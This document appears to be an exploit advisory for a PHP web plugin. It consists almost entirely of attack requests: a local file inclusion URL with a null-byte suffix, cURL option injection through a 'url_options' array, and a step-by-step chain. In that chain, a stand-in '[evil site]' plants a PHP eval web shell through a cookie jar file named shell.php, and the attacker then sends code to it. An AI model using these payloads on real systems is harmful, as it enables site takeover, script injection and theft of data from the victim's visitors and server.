Local File Inclusion:
---------------------
 
index.php?nn_qp=1&file=[LFI]%00.inc.php
 
NOTE: the ending ".inc.php" is required.
 
 
 
Open Proxy/Open cURL/Shell Upload
---------------------------------
 
Using the following data structure, it is possible to pass arguments directly into cURL:
 
index.php
?nn_qp=1
&url=[REMOTE HOST]
&url_options[CURLOPT_POSTDATA]=[post data]
 
Whatever the plugin loads via cURL gets written out as data under the domain of the victim site.
This allows for REMOTE HOST to inject javascript that runs in the context of the victim domain.
It is also possible to gain remote access:
 
1. Set up a remote page that sets the following cookie:
 
<?eval(array_pop($_POST))?>=1
 
2. Force victim site to write a cookie file:
 
index.php
?nn_qp=1
&url=http://[evil site]
&url_options[CURLOPT_COOKIEJAR]=shell.php
&url_options[CURLOPT_COOKIEFILE]=shell.php
 
3. POST a single variable containing REAL shellcode to http://[victim]/shell.php